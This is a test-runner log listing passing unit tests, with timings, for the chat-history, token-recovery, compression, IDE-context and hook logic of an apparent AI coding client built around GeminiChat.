✓ GeminiChat > retries leaked JSON without a finish reason via the post-stream leak guard 398ms
✓ GeminiChat > retries a protocol-tagged turn even when the leaked attempt also contains a tool call 430ms
✓ GeminiChat > stripThoughtsFromHistory > should strip thought parts from history and drop thought-only entries 376ms
✓ GeminiChat > stripOrphanedUserEntriesFromHistory > should pop a single trailing user entry 375ms
✓ GeminiChat > stripOrphanedUserEntriesFromHistory > should pop multiple trailing user entries 356ms
✓ GeminiChat > stripOrphanedUserEntriesFromHistory > preserves the startup reminder when stripping a failed first prompt 358ms
✓ GeminiChat > stripOrphanedUserEntriesFromHistory > preserves a mid-history MCP added-tool reminder when a later prompt fails 359ms
✓ GeminiChat > stripOrphanedUserEntriesFromHistory > pops a failed turn whose reminder shares a Content with the prompt 362ms
✓ GeminiChat > stripOrphanedUserEntriesFromHistory > should be a no-op when last entry is a model response 388ms
✓ GeminiChat > stripOrphanedUserEntriesFromHistory > should handle empty history 367ms
✓ GeminiChat > partial-push marker invariants on history mutation > clearHistory() clears the partial-push markers 389ms
✓ GeminiChat > partial-push marker invariants on history mutation > addHistory() clears the partial-push markers (violation path) 392ms
✓ GeminiChat > partial-push marker invariants on history mutation > setHistory() clears the partial-push markers 391ms
✓ GeminiChat > partial-push marker invariants on history mutation > truncateHistory() clears the partial-push markers 399ms
✓ GeminiChat > partial-push marker invariants on history mutation > stripThoughtsFromHistory() clears the partial-push markers 397ms
✓ GeminiChat > partial-push marker invariants on history mutation > stripOrphanedUserEntriesFromHistory() clears the partial-push markers 389ms
✓ GeminiChat > repairOrphanedToolUseTurns > injects a synthetic functionResponse for a trailing tool_use (Race B/C) 420ms
✓ GeminiChat > repairOrphanedToolUseTurns > hoists synthetic functionResponse to the front of an existing user turn (Race A) 402ms
✓ GeminiChat > repairOrphanedToolUseTurns > hoists synthetic functionResponse AFTER pre-existing real ones (parallel partial submit) 409ms
✓ GeminiChat > repairOrphanedToolUseTurns > handles parallel tool_use turns with only some responses present 411ms
✓ GeminiChat > repairOrphanedToolUseTurns > is a no-op when every tool_use already has a matching response 405ms
✓ GeminiChat > repairOrphanedToolUseTurns > repairs multiple non-adjacent dangling tool_uses across history 425ms
✓ GeminiChat > repairOrphanedToolUseTurns > ignores model turns with no functionCall parts 410ms
✓ GeminiChat > repairOrphanedToolUseTurns > uses caller-provided reason text 400ms
✓ GeminiChat > repairOrphanedToolUseTurns > hoists the real functionResponse from a non-adjacent later user turn into the adjacent one 420ms
✓ GeminiChat > repairOrphanedToolUseTurns > synthesizes missing fr AND hoists real fr in a parallel tool_use mismatch 434ms
✓ GeminiChat > repairOrphanedToolUseTurns > hoists real fr but preserves the source user turn when it carries other content 437ms
✓ GeminiChat > repairOrphanedToolUseTurns > drops duplicate functionResponse entries for the same callId across user turns 426ms
✓ GeminiChat > repairOrphanedToolUseTurns > drops duplicate fr even when the canonical copy is already in the adjacent turn 430ms
✓ GeminiChat > output token recovery > re-clamps maxOutputTokens on each recovery send as the prompt grows (window invariant) 489ms
✓ GeminiChat > output token recovery > re-clamps recovery sends even when an intermediate response omits usage metadata 1551ms
✓ GeminiChat > output token recovery > should enter recovery loop when escalated response is also truncated 463ms
✓ GeminiChat > output token recovery > retries protocol-tag leaks during max-tokens escalation 529ms
✓ GeminiChat > output token recovery > preserves current user image bytes during output recovery 494ms
✓ GeminiChat > output token recovery > should skip no-op escalation and recover directly for high-output models 455ms
✓ GeminiChat > output token recovery > retries protocol-tag leaks during direct output recovery 484ms
✓ GeminiChat > output token recovery > should coalesce overlapping recovery continuation text 451ms
✓ GeminiChat > output token recovery > should coalesce recovery text that replays a previous tail anchor 477ms
✓ GeminiChat > output token recovery > should preserve prose continuation that coincidentally repeats an opener phrase 460ms
✓ GeminiChat > output token recovery > should not strip prose that coincides with a far-earlier substring of the previous turn 448ms
✓ GeminiChat > output token recovery > should preserve continuation when its structural prefix appears mid-paragraph in the previous tail (line-boundary rejection) 488ms
✓ GeminiChat > output token recovery > should preserve prose continuation that opens with a single-cell pipe expression matching mid-tail 447ms
✓ GeminiChat > output token recovery > should insert a newline separator when the replayed prefix ends with newline but previous tail does not 456ms
✓ GeminiChat > output token recovery > should drop continuation entirely when it exactly replays the previous tail 453ms
✓ GeminiChat > output token recovery > should leave continuation untouched when the previous turn has no plain text 471ms
✓ GeminiChat > output token recovery > should dedup recovery continuation when the continuation begins with a thought part 452ms
✓ GeminiChat > output token recovery > should keep the recovery thought before the merged text part (thought-signature provenance) 457ms
✓ GeminiChat > output token recovery > should preserve a coincidental 2-character CJK overlap (byte floor insufficient for CJK) 493ms
✓ GeminiChat > output token recovery > should dedup a replayed structural prefix even when the continuation has leading whitespace 478ms
✓ GeminiChat > output token recovery > should truncate the previous_response_suffix to the trailing 1200 chars when the previous turn is longer 506ms
✓ GeminiChat > output token recovery > should neutralize a literal previous_response_suffix delimiter inside the tail so the recovery prompt structure stays intact 480ms
✓ GeminiChat > output token recovery > should neutralize a literal opening previous_response_suffix delimiter inside the tail 476ms
✓ GeminiChat > output token recovery > should skip recovery when truncated turn has a functionCall 467ms
✓ GeminiChat > output token recovery > keeps protocol tag leak budget during output continuation 500ms
✓ GeminiChat > output token recovery > keeps continuation retry budgets independent across error types 551ms
✓ GeminiChat > output token recovery > should cap recovery attempts at MAX_OUTPUT_RECOVERY_ATTEMPTS (3) 475ms
✓ GeminiChat > output token recovery > should pop dangling recovery message and emit STOP chunk when recovery throws 2497ms
✓ GeminiChat > output token recovery > should pop both the partial model turn AND the recovery user message when recovery throws after a functionCall 493ms
✓ GeminiChat > output token recovery > should stop recovery mid-loop when a later iteration emits functionCall 481ms
✓ GeminiChat > output token recovery > should coalesce successful recovery iterations into the preceding model turn 485ms
✓ GeminiChat > output token recovery > rolls back an escalated partial tool call when the stream fails 488ms
✓ GeminiChat > redactApprovedPlanFromHistory > rewrites only the plan arg of the matching exit_plan_mode call 506ms
✓ GeminiChat > redactApprovedPlanFromHistory > returns false when no matching call id or tool name exists 464ms
✓ GeminiChat > redactApprovedPlanFromHistory > returns false when expectedPlan differs from the in-history plan 464ms
✓ GeminiChat > redactApprovedPlanFromHistory > returns false when the matching call has no string plan arg 462ms
✓ GeminiChat > redactApprovedPlansInHistory (load-side, #6237) > rewrites approved calls whose plan matches the on-disk file 480ms
✓ GeminiChat > redactApprovedPlansInHistory (load-side, #6237) > redacts only the approved call when a rejected call shares the plan text 466ms
✓ GeminiChat > redactApprovedPlansInHistory (load-side, #6237) > returns null when the response was not an approval 470ms
✓ GeminiChat > redactApprovedPlansInHistory (load-side, #6237) > returns null when the on-disk plan differs (stale file) 498ms
✓ GeminiChat > redactApprovedPlansInHistory (load-side, #6237) > is applied by setHistory when the plan file exists 479ms
✓ GeminiChat > redactApprovedPlansInHistory (load-side, #6237) > is applied by the constructor for rehydrated history 477ms
✓ GeminiChat > redactApprovedPlansInHistory (load-side, #6237) > setHistory leaves history alone when no plan file exists 484ms
✓ GeminiChat > redactStructuredOutputArgsForRecording > replaces args on a structured_output functionCall with the placeholder 482ms
✓ GeminiChat > redactStructuredOutputArgsForRecording > passes non-structured_output functionCalls through untouched 485ms
✓ GeminiChat > redactStructuredOutputArgsForRecording > returns null for parts with no functionCall 487ms
✓ GeminiChat > redactStructuredOutputArgsForRecording > does not mutate the input part 514ms
✓ GeminiChat > tryCompress (per-chat state) > replaces history and updates per-chat lastPromptTokenCount on COMPRESSED 496ms
✓ GeminiChat > tryCompress (per-chat state) > mirrors lastPromptTokenCount to the global telemetry only when wired 527ms
✓ GeminiChat > tryCompress (per-chat state) > increments consecutiveFailures and forwards it to subsequent unforced auto-compactions 500ms
✓ GeminiChat > tryCompress (per-chat state) > forwards force=true to the compression service 500ms
✓ GeminiChat > compression failure circuit breaker > tolerates MAX_CONSECUTIVE_FAILURES - 1 failures and increments the counter each time 510ms
✓ GeminiChat > compression failure circuit breaker > does not increment the counter on forced-call failures 504ms
✓ GeminiChat > compression failure circuit breaker > resets the counter to 0 on a successful (forced) compress 532ms
✓ GeminiChat > XML tool call fallback integration > recovers XML tool calls from plain text content and updates history 554ms
✓ GeminiChat > XML tool call fallback integration > retains a short text prefix in history when recovering XML tool calls 529ms
✓ GeminiChat > XML tool call fallback integration > does not recover when a structured tool call is already present 519ms
✓ GeminiChat > XML tool call fallback integration > does not recover documentation prose containing invoke examples 514ms
✓ GeminiChat > XML tool call fallback integration > records the recovered functionCall in the JSONL turn (--resume fidelity) 523ms
✓ GeminiChat > XML tool call fallback integration > does not duplicate earlier text or drop non-text parts when recovering 524ms
✓ GeminiChat > XML tool call fallback integration > preserves non-text parts when the XML spans multiple text parts 553ms
✓ GeminiChat > XML tool call fallback integration > does not recover XML tool calls when the stream lacks a finish reason 578ms
✓ src/core/client.test.ts (315 tests) 278511ms
✓ Gemini Client (client.ts) > initialize > seeds resumed chat with replayed prompt token count 450ms
✓ Gemini Client (client.ts) > initialize > seeds recently completed tools from resumed history 311ms
✓ Gemini Client (client.ts) > startChat — session start profiling > does not record context apply stage without SessionStart context 449ms
✓ Gemini Client (client.ts) > startChat — repair orphan tool_use on resume > synthesizes a functionResponse for a transcript ending in a dangling model[functionCall] 363ms
✓ Gemini Client (client.ts) > setTools — progressive MCP reminders > carries active todos after tool results and clears them for new work 979ms
✓ Gemini Client (client.ts) > setTools — progressive MCP reminders > keeps automatic Todo ownership through its tool-result turns 383ms
✓ Gemini Client (client.ts) > setTools — progressive MCP reminders > queues and drains a reminder for newly registered MCP deferred tools 349ms
✓ Gemini Client (client.ts) > setTools — progressive MCP reminders > does not announce MCP removal before an added tool was drained 313ms
✓ Gemini Client (client.ts) > setTools — progressive MCP reminders > omits already-revealed deferred tools from added reminders 319ms
✓ Gemini Client (client.ts) > setTools — progressive MCP reminders > re-announces an MCP tool after its server disconnects and reconnects 388ms
✓ Gemini Client (client.ts) > setTools — progressive MCP reminders > announces removed MCP deferred tools after disconnect 352ms
✓ Gemini Client (client.ts) > setTools — progressive MCP reminders > keeps queued MCP changes when the reminder builder returns null 311ms
✓ Gemini Client (client.ts) > setTools — progressive MCP reminders > eagerly reveals every deferred tool when ToolSearch is unavailable 326ms
✓ Gemini Client (client.ts) > setTools — progressive MCP reminders > does not append the same added MCP reminder twice 358ms
✓ Gemini Client (client.ts) > setTools — progressive MCP reminders > does not drain queued MCP reminders on tool-result turns 373ms
✓ Gemini Client (client.ts) > setTools — progressive MCP reminders > keeps draining later capability reminders when MCP drain fails 356ms
✓ Gemini Client (client.ts) > setTools — progressive MCP reminders > preserves SessionStart additionalContext because setTools does not rewrite the system instruction 341ms
✓ Gemini Client (client.ts) > addHistory > should call chat.addHistory with the provided content 339ms
✓ Gemini Client (client.ts) > getMainSessionSystemInstruction > records the gitStatus-free base as the static system prefix on Config 388ms
✓ Gemini Client (client.ts) > resetChat > refreshes the live system instruction after the working directory changes 375ms
✓ Gemini Client (client.ts) > resetChat > clears cached git status so it can be recomputed for the next session 398ms
✓ Gemini Client (client.ts) > resetChat > should create a new chat session, clearing the old history 374ms
✓ Gemini Client (client.ts) > resetChat > clears the FileReadCache so post-reset Reads re-emit content 382ms
✓ Gemini Client (client.ts) > resetChat > clears revealedDeferred set so /clear gives a clean tool slate 373ms
✓ Gemini Client (client.ts) > resetChat > fires SessionStart with Clear source when resetting chat 386ms
✓ Gemini Client (client.ts) > resetChat > exposes the new chat while the Clear SessionStart hook is running 391ms
✓ Gemini Client (client.ts) > resetChat > restores initializedSessionId so initialize remains idempotent after reset 440ms
✓ Gemini Client (client.ts) > resetChat > should reset lastInjectedDate 383ms
✓ Gemini Client (client.ts) > resetChat > resets Hook microcompaction checkpoint 405ms
✓ Gemini Client (client.ts) > resetChat > clears recently completed tools 395ms
✓ Gemini Client (client.ts) > history mutation invalidates FileReadCache > setHistory clears the cache 387ms
✓ Gemini Client (client.ts) > history mutation invalidates FileReadCache > truncateHistory clears the cache when entries are actually removed 390ms
✓ Gemini Client (client.ts) > history mutation invalidates FileReadCache > truncateHistory does NOT clear the cache when nothing was removed (keepCount >= history length) 387ms
✓ Gemini Client (client.ts) > history mutation invalidates FileReadCache > truncateHistory clears the cache when a non-finite keepCount empties history (NaN regression) 439ms
✓ Gemini Client (client.ts) > history mutation invalidates FileReadCache > truncateHistory uses O(1) getHistoryLength, not getHistory (avoids structuredClone) 403ms
✓ Gemini Client (client.ts) > history mutation invalidates FileReadCache > stripOrphanedUserEntriesFromHistory forces full IDE context only when entries were removed 423ms
✓ Gemini Client (client.ts) > history mutation invalidates FileReadCache > retry strips orphaned trailing user entries and clears the cache 468ms
✓ Gemini Client (client.ts) > history mutation invalidates FileReadCache > restores stripped retry entries when session token limit skips send 437ms
✓ Gemini Client (client.ts) > thinking block idle cleanup and latch > should update lastApiCompletionTimestamp after API call 458ms
✓ Gemini Client (client.ts) > thinking block idle cleanup and latch > should reset lastApiCompletionTimestamp on resetChat 433ms
✓ Gemini Client (client.ts) > thinking block idle cleanup and latch > seeds Hook microcompaction checkpoint on user turns 513ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > disarms the fast-path for blanked files instead of wiping the cache (issue #4239) 1018ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > does not abort the turn when microcompaction cleanup fails 593ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > microcompacts old tool results on Hook continuations 589ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > does not abort Hook continuations when microcompaction cleanup fails 572ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > skips the next Hook microcompaction after one just ran 676ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > initializes Hook microcompaction from the last API completion timestamp 626ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > does not microcompact Hook continuations when the checkpoint is recent 548ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > seeds Hook microcompaction checkpoint to now when no API call completed 551ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > falls back to a blanket clear when blanked reads cannot be linked to a path (id-less provider) 560ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > invalidates only the path when an evicted path cannot be stat’d 645ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > keeps a mixed batch targeted when one path is on disk and one is a ghost 647ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > invalidates only the path when an evicted path stats to a different inode 657ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > does not touch the cache when the idle gap is below the threshold 568ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > runs microcompaction on SendMessageType.Hook 635ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > does not run idle microcompaction on SendMessageType.ToolResult 621ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > runs size-only microcompaction on SendMessageType.ToolResult with pending content counted 632ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > logs size overages when protected results leave nothing to clear 643ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > runs microcompaction on SendMessageType.Cron 688ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > does not reset the Hook checkpoint when Cron skips microcompaction 590ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > does not run microcompaction on SendMessageType.Retry 645ms
✓ Gemini Client (client.ts) > microcompaction FileReadCache invalidation > continues sendMessage when microcompactHistory throws 620ms
✓ Gemini Client (client.ts) > tryCompressChatFast > returns early on NOOP without touching FileReadCache 1056ms
✓ Gemini Client (client.ts) > tryCompressChatFast > calls clear() when unresolvedEvictedReads > 0 on COMPRESSED 768ms
✓ Gemini Client (client.ts) > tryCompressChatFast > uses targeted path fallback when fast compression sees an inode miss 649ms
✓ Gemini Client (client.ts) > tryCompressChatFast > succeeds with surgical disarm when all inodes match (no clear) 613ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > forwards prompt id, force, and signal to chat.tryCompress 593ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > forwards customInstructions through the options bag when supplied 583ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > flips forceFullIdeContext on a successful compression 574ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > re-prepends startup context and seeds the new chat after compression 680ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > preserves Compact SessionStart additionalContext on the new chat 598ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > preserves previous SessionStart context on manual compaction when Compact hook returns no context 599ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > re-applies Compact SessionStart additionalContext after auto compaction event 753ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > does not block ChatCompressed event delivery while waiting on Compact SessionStart hook 654ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > skips Compact SessionStart hook after auto compaction when hooks are disabled 751ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > skips Compact SessionStart hook after auto compaction when SessionStart is not registered 667ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > does not crash auto compaction when Compact SessionStart hook throws 770ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > does not flip forceFullIdeContext when compression NOOPs 644ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > flips forceFullIdeContext when ChatCompressed flows through sendMessageStream 671ms
✓ Gemini Client (client.ts) > tryCompressChat (delegation) > re-prepends the startup prelude after an auto-compaction ChatCompressed event 725ms
✓ Gemini Client (client.ts) > sendMessageStream > filters unsupported media from the shared history snapshot 692ms
✓ Gemini Client (client.ts) > sendMessageStream > checks session writer admission before a userQuery turn 644ms
✓ Gemini Client (client.ts) > sendMessageStream > checks session writer admission before a cron turn 652ms
✓ Gemini Client (client.ts) > sendMessageStream > checks session writer admission before a notification turn 651ms
✓ Gemini Client (client.ts) > sendMessageStream > checks session writer admission before a teammate turn 696ms
✓ Gemini Client (client.ts) > sendMessageStream > does not re-run session writer admission for a mid-turn hook continuation 680ms
✓ Gemini Client (client.ts) > sendMessageStream > should merge editor context into the user request when ideMode is enabled 803ms
✓ Gemini Client (client.ts) > sendMessageStream > should not add context if ideMode is enabled but no open files 722ms
✓ Gemini Client (client.ts) > sendMessageStream > should add context if ideMode is enabled and there is one active file 723ms
✓ Gemini Client (client.ts) > sendMessageStream > escapes closing system-reminder tag variants in selected IDE text 813ms
✓ Gemini Client (client.ts) > sendMessageStream > should prepend relevant managed auto-memory prompt when recall returns content 784ms
✓ Gemini Client (client.ts) > sendMessageStream > should track surfaced managed memory paths across user queries 761ms
✓ Gemini Client (client.ts) > sendMessageStream > should not block the main request when auto-memory recall is slow 762ms
✓ Gemini Client (client.ts) > sendMessageStream > should inject auto-memory at UserQuery consume point when recall already settled 797ms
✓ Gemini Client (client.ts) > sendMessageStream > should log initial delivery when auto-memory is injected on UserQuery 771ms
✓ Gemini Client (client.ts) > sendMessageStream > should log discard telemetry when auto-memory selects no docs 759ms
✓ Gemini Client (client.ts) > sendMessageStream > should inject auto-memory on first ToolResult when recall settles after UserQuery 823ms
✓ Gemini Client (client.ts) > sendMessageStream > should discard pending prefetch with no_safe_delivery_point on a no-tool turn 771ms
✓ Gemini Client (client.ts) > sendMessageStream > should abort the pending prefetch when the caller signal aborts 814ms
✓ Gemini Client (client.ts) > sendMessageStream > should abort the previous prefetch when a new UserQuery arrives mid-flight 834ms
✓ Gemini Client (client.ts) > sendMessageStream > should abort the pending prefetch on resetChat 785ms
✓ Gemini Client (client.ts) > sendMessageStream > should log discard telemetry when pending auto-memory is reset 776ms
✓ Gemini Client (client.ts) > sendMessageStream > should log discard telemetry when pending auto-memory is shut down 826ms
✓ Gemini Client (client.ts) > sendMessageStream > should log abort discard telemetry when caller signal is already aborted 759ms
✓ Gemini Client (client.ts) > sendMessageStream > should discard prefetch when Retry resets hasToolCalls 779ms
✓ Gemini Client (client.ts) > sendMessageStream > should preserve prefetch when ToolCallRequest follows Retry 806ms
✓ Gemini Client (client.ts) > sendMessageStream > should discard prefetch when ModelFallback resets hasToolCalls 784ms
✓ Gemini Client (client.ts) > sendMessageStream > should preserve prefetch when ToolCallRequest follows ModelFallback 829ms
✓ Gemini Client (client.ts) > sendMessageStream > should log abort discard telemetry when arena cancels with a pending prefetch 819ms
✓ Gemini Client (client.ts) > sendMessageStream > should log only one terminal event for the same prefetch handle 765ms
✓ Gemini Client (client.ts) > sendMessageStream > should abort the pending prefetch when LoopDetected fires mid-stream 794ms
✓ Gemini Client (client.ts) > sendMessageStream > should halt via the always-on turn cap before the skipLoopDetection gate 861ms
✓ Gemini Client (client.ts) > sendMessageStream > should fire StopFailure hook on always-on loop detection 788ms
✓ Gemini Client (client.ts) > sendMessageStream > should fire StopFailure hook on heuristic loop detection 797ms
✓ Gemini Client (client.ts) > sendMessageStream > should pass undefined error_details when loopType is null 804ms
✓ Gemini Client (client.ts) > sendMessageStream > should not fire StopFailure hook on loop detection when hooks are disabled 845ms
✓ Gemini Client (client.ts) > sendMessageStream > should not fire StopFailure hook on loop detection when no StopFailure hooks configured 811ms
✓ Gemini Client (client.ts) > sendMessageStream > should swallow StopFailure hook rejection on loop detection 844ms
✓ Gemini Client (client.ts) > sendMessageStream > always-on consecutive halt clears all pending calls (uniform with the turn cap) 860ms
✓ Gemini Client (client.ts) > sendMessageStream > should PRESERVE the pending prefetch when next-speaker continueTurn returns 956ms
✓ Gemini Client (client.ts) > sendMessageStream > should skip recall when managed memory is unavailable 865ms
✓ Gemini Client (client.ts) > sendMessageStream > should proceed normally when recall rejects 875ms
✓ Gemini Client (client.ts) > sendMessageStream > should run managed auto-memory extraction after a completed user query 872ms
✓ Gemini Client (client.ts) > sendMessageStream > should inject the current date on every UserQuery turn 948ms
✓ Gemini Client (client.ts) > sendMessageStream > uses the subagent plan reminder when a subagent inherits PLAN mode 900ms
✓ Gemini Client (client.ts) > sendMessageStream > uses the subagent plan reminder when SDK mode is active 905ms
✓ Gemini Client (client.ts) > sendMessageStream > uses the main-session plan reminder outside subagent and SDK mode 872ms
✓ Gemini Client (client.ts) > sendMessageStream > should not inject duplicate date on the same day 976ms
✓ Gemini Client (client.ts) > sendMessageStream > should re-inject date when session spans midnight 950ms
✓ Gemini Client (client.ts) > sendMessageStream > should not inject date on Cron turns 941ms
✓ Gemini Client (client.ts) > sendMessageStream > autoSkill: scheduleSkillReview via runManagedAutoMemoryBackgroundTasks > should call scheduleSkillReview with correct params on UserQuery 962ms
✓ Gemini Client (client.ts) > sendMessageStream > autoSkill: scheduleSkillReview via runManagedAutoMemoryBackgroundTasks > should reset toolCallCount and push promise when review is scheduled 949ms
✓ Gemini Client (client.ts) > sendMessageStream > autoSkill: scheduleSkillReview via runManagedAutoMemoryBackgroundTasks > should reset toolCallCount when review is already_running and count exceeds threshold 912ms
✓ Gemini Client (client.ts) > sendMessageStream > autoSkill: scheduleSkillReview via runManagedAutoMemoryBackgroundTasks > should always reset skillsModifiedInSession after scheduleSkillReview check 908ms
✓ Gemini Client (client.ts) > sendMessageStream > autoSkill: scheduleSkillReview via runManagedAutoMemoryBackgroundTasks > should pass confirmBeforePersist from getAutoSkillConfirmEnabled 923ms
✓ Gemini Client (client.ts) > sendMessageStream > recordCompletedToolCall > should increment toolCallCount on each call 928ms
✓ Gemini Client (client.ts) > sendMessageStream > recordCompletedToolCall > should set skillsModifiedInSession=true when write_file targets a skill path 891ms
✓ Gemini Client (client.ts) > sendMessageStream > recordCompletedToolCall > should not set skillsModifiedInSession=true for write_file outside skill path 892ms
✓ Gemini Client (client.ts) > sendMessageStream > recordCompletedToolCall > should set skillsModifiedInSession=true when edit targets a skill path 943ms
✓ Gemini Client (client.ts) > sendMessageStream > recordCompletedToolCall > should not set skillsModifiedInSession=true for non-write tools 924ms
✓ Gemini Client (client.ts) > sendMessageStream > should add context if ideMode is enabled and there are open files but no active file 961ms
✓ Gemini Client (client.ts) > sendMessageStream > should return the turn instance after the stream is complete 957ms
✓ Gemini Client (client.ts) > sendMessageStream > should stop infinite loop after MAX_TURNS when nextSpeaker always returns model 3603ms
✓ Gemini Client (client.ts) > sendMessageStream > should yield MaxSessionTurns and stop when session turn limit is reached 1106ms
✓ Gemini Client (client.ts) > sendMessageStream > should abort the pending recall when MaxSessionTurns is hit 940ms
✓ Gemini Client (client.ts) > sendMessageStream > should abort the pending recall when SessionTokenLimitExceeded 1017ms
✓ Gemini Client (client.ts) > sendMessageStream > should respect MAX_TURNS limit even when turns parameter is set to a large value 3576ms
✓ Gemini Client (client.ts) > sendMessageStream > Editor context delta > 'sends delta when active file changes' 996ms
✓ Gemini Client (client.ts) > sendMessageStream > Editor context delta > 'sends delta when cursor line changes' 989ms
✓ Gemini Client (client.ts) > sendMessageStream > Editor context delta > 'sends delta when cursor character cha…' 1068ms
✓ Gemini Client (client.ts) > sendMessageStream > Editor context delta > 'sends delta when selected text changes' 1006ms
✓ Gemini Client (client.ts) > sendMessageStream > Editor context delta > 'sends delta when selected text is add…' 1021ms
✓ Gemini Client (client.ts) > sendMessageStream > Editor context delta > 'sends delta when selected text is rem…' 1068ms
✓ Gemini Client (client.ts) > sendMessageStream > Editor context delta > 'does not send context when nothing ch…' 1037ms
✓ Gemini Client (client.ts) > sendMessageStream > Editor context delta > sends full context when history is cleared, even if editor state is unchanged 1026ms
✓ Gemini Client (client.ts) > sendMessageStream > IDE context with pending tool calls > should NOT add IDE context when a tool call is pending 1069ms
✓ Gemini Client (client.ts) > sendMessageStream > IDE context with pending tool calls > should add IDE context when no tool call is pending 1001ms
✓ Gemini Client (client.ts) > sendMessageStream > IDE context with pending tool calls > keeps IDE context unsent when arena cancels before the turn starts 1006ms
✓ Gemini Client (client.ts) > sendMessageStream > IDE context with pending tool calls > keeps an empty full IDE snapshot unsent until context text is available 1012ms
✓ Gemini Client (client.ts) > sendMessageStream > IDE context with pending tool calls > resends full IDE context on the next message after a stream error 1034ms
✓ Gemini Client (client.ts) > sendMessageStream > IDE context with pending tool calls > keeps the IDE context baseline unchanged if the turn stream throws before the first event 1013ms
✓ Gemini Client (client.ts) > sendMessageStream > IDE context with pending tool calls > should send the latest IDE context on the next message after a skipped context 1041ms
✓ Gemini Client (client.ts) > sendMessageStream > IDE context with pending tool calls > should send a context DELTA on the next message after a skipped context 1138ms
✓ Gemini Client (client.ts) > sendMessageStream > should not call checkNextSpeaker when turn.run() yields an error 978ms
✓ Gemini Client (client.ts) > sendMessageStream > should not call checkNextSpeaker when turn.run() yields a value then an error 1004ms
✓ Gemini Client (client.ts) > sendMessageStream > does not run loop checks when skipLoopDetection is true 1067ms
✓ Gemini Client (client.ts) > sendMessageStream > hard-stops identical tool calls even when skipLoopDetection is true (always-on guard) 1013ms
✓ Gemini Client (client.ts) > sendMessageStream > hard-stops identical tool calls when loop detection is enabled 1001ms
✓ Gemini Client (client.ts) > sendMessageStream > retry sendMessageType > should call stripOrphanedUserEntriesFromHistory before executing 1068ms
✓ Gemini Client (client.ts) > sendMessageStream > retry sendMessageType > restores stripped retry entries when the retry stream throws before its first event 1002ms
✓ Gemini Client (client.ts) > sendMessageStream > retry sendMessageType > does not re-add stripped retry entries when the chat already pushed them before failing 1020ms
✓ Gemini Client (client.ts) > sendMessageStream > retry sendMessageType > does not re-add stripped retry entries when auto-compression shrank history below the pre-send length after the push 1081ms
✓ Gemini Client (client.ts) > sendMessageStream > retry sendMessageType > should not increment sessionTurnCount for retry 1056ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > emits active_goal when a goal is active for the turn 1043ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > emits active_goal null when the Stop hook clears the goal 1087ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > emits active_goal null when the Stop hook clears the goal before aborting 1087ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > emits active_goal changes when aborting before Stop hook continuation 1563ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > should skip messageBus.request for UserPromptSubmit when hasHooksForEvent returns false 1138ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > should skip messageBus.request for Stop when hasHooksForEvent returns false 1132ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > should skip messageBus.request for MessageDisplay when hasHooksForEvent returns false 1068ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > fires MessageDisplay with the cumulative streamed text, exactly once, when is_final on turn end 1223ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > fires a debounced mid-stream flush once the debounce window elapses, then a separate final flush 1884ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > logs and swallows a rejected MessageDisplay hook request 1168ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > does not end the turn until the final MessageDisplay payload has been delivered 1188ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > fires the final MessageDisplay flush when the always-on loop-detection safety trips mid-stream 1076ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > fires the final MessageDisplay flush when heuristic loop detection trips mid-stream 1136ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > fires the final MessageDisplay flush when the turn stream yields an Error event 1072ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > suppresses the final MessageDisplay flush when the signal is aborted before the stream ends 1098ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > suppresses the final MessageDisplay flush for a tool-call-only turn with no Content events 1175ms
✓ Gemini Client (client.ts) > sendMessageStream > hooks fast-path optimization > ends the Stop hook loop when the blocking cap is reached 1122ms
